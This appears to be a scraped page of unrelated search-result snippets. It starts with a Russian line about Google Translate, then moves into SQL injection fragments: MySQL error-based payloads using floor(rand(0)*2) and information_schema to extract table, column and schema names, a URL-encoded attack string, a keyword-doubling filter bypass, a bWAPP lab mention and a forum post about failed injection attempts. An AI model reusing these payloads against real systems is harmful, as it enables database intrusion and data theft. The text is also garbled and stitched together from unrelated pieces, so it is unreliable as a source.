Бесплатный сервис Google позволяет мгновенно переводить слова, фразы и веб-страницы с английского на более чем 100 языков и обратно.
and (select 1 from (select count(*),concat((select(select concat(cast(column_name as char),0x7e)) from information_schema.columns where table_name=0x726174696e6773 limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a).
I have detected some failed SQL injection attacks on my website. The failed queries are of the form: … The ':sjw:1:ukt:1' part is specially constructed with variables concatenated together to give random 0s...
...CONCAT(table_name,(SELECT MID((IFNULL(CAST(COUNT(*) AS CHAR),CHAR(32))),1,50) FROM information_schema.SCHEMATA),CHAR(58,109,107,114,58)
So_buy+and%28SELECT+1+from%28SELECT+count(*),concat((select+%28SELECT+concat%280X7E%2C0X27%2CDATABASE(),0X27%2C0X7E))+from+
SELECT CONCAT("SQL ", "Tutorial ", "is ", "fun!") AS ConcatenatedString; Try it Yourself ». Definition and Usage. The CONCAT() function adds two or more expressions together. Note: Also look at the CONCAT_WS() function. Syntax.
like we see [select] is down let's double text [Replacing keywords] like this SeLselectECT.
...(select (select (SELECT distinct concat(0x7e,0x27,Hex(cast(schema_name as char)),0x27,0x7e) FROM information_schema.schemata LIMIT n,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from...
Login to your bWAPP and select vulnerability SQL Injection…
mysql> select count(*),concat( floor(rand(0)*2), 0x5e5e5e, version(), 0x5e5e5e) x from information_schema.character_sets group by x; ERROR 1062 (23000): Duplicate entry ‘1^^^5.5.28